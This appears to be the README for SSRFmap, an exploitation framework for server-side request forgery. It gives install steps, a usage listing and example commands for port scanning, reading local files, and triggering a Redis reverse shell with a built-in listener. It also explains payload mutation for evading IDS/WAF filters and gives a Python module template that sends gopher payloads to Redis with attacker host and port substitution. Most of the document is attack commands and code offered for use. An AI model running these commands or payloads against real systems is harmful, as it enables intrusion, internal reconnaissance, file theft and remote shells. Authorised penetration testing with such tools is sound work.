SSRF are often used to leverage actions on other services, this framework aims to find and exploit these services easily. SSRFmap takes a Burp request file as input and a parameter to fuzz.
Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.

Install and Manual
Basic install from the Github repository.
$ git clone https://github.com/swisskyrepo/SSRFmap $ cd SSRFmap/ $ pip3 install -r requirements.txt $ python3 ssrfmap.py usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER] [-v [VERBOSE]] [--lhost LHOST] [--lport LPORT] [--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]] optional arguments: -h, --help show this help message and exit -r REQFILE SSRF Request file -p PARAM SSRF Parameter to target -m MODULES SSRF Modules to enable -l HANDLER Start an handler for a reverse shell -v [VERBOSE] Enable verbosity --lhost LHOST LHOST reverse shell --lport LPORT LPORT reverse shell --uagent USERAGENT User Agent to use --ssl [SSL] Use HTTPS without verification --level [LEVEL] Level of test to perform (1-5, default: 1)
Examples
First you need a request with a parameter to fuzz, Burp requests works well with SSRFmap. They should look like the following. More examples are available in the /data folder.
POST /ssrf HTTP/1.1 Host: 127.0.0.1:5000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://mysimple.ssrf/ Content-Type: application/x-www-form-urlencoded Content-Length: 31 Connection: close Upgrade-Insecure-Requests: 1 url=https%3A%2F%2Fwww.google.fr
Use the -m
followed by module name (separated by a ,
if you want to launch several modules).
# Launch a portscan on localhost and read default files python ssrfmap.py -r data/request.txt -p url -m readfiles,portscan
If you need to have a custom user-agent use the --uagent
. Some targets will use HTTPS, you can enable it with --ssl
.
# Launch a portscan against an HTTPS endpoint using a custom user-agent python ssrfmap.py -r data/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"
Some modules allow you to create a connect back, you have to specify LHOST and LPORT. Also SSRFmap can listen for the incoming reverse shell.
# Triggering a reverse shell on a Redis python ssrfmap.py -r data/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242 # -l create a listener for reverse shell on the specified port # --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload
When the target is protected by a WAF or some filters you can try a wide range of payloads and encoding with the parameter --level
.
# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...
SSRFmap Tests
A quick way to test the framework can be done with data/example.py
SSRF service.
FLASK_APP=data/example.py flask run & python ssrfmap.py -r data/request.txt -p url -m readfiles

The following code is a template if you wish to add a module interacting with a service.
from core.utils import * import logging name = "servicename in lowercase" description = "ServiceName RCE - What does it do" author = "Name or pseudo of the author" documentation = ["http://link_to_a_research", "http://another_link"] class exploit(): SERVER_HOST = "127.0.0.1" SERVER_PORT = "4242" def __init__(self, requester, args): logging.info("Module '{}' launched !".format(name)) # Handle args for reverse shell if args.lhost == None: self.SERVER_HOST = input("Server Host:") else: self.SERVER_HOST = args.lhost if args.lport == None: self.SERVER_PORT = input("Server Port:") else: self.SERVER_PORT = args.lport # Data for the service # Using a generator to create the host list # Edit the following ip if you need to target something else gen_host = gen_ip_list("127.0.0.1", args.level) for ip in gen_host: port = "6379" data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a" payload = wrapper_gopher(data, ip , port) # Handle args for reverse shell payload = payload.replace("SERVER_HOST", self.SERVER_HOST) payload = payload.replace("SERVER_PORT", self.SERVER_PORT) # Send the payload r = requester.do_request(args.param, payload)
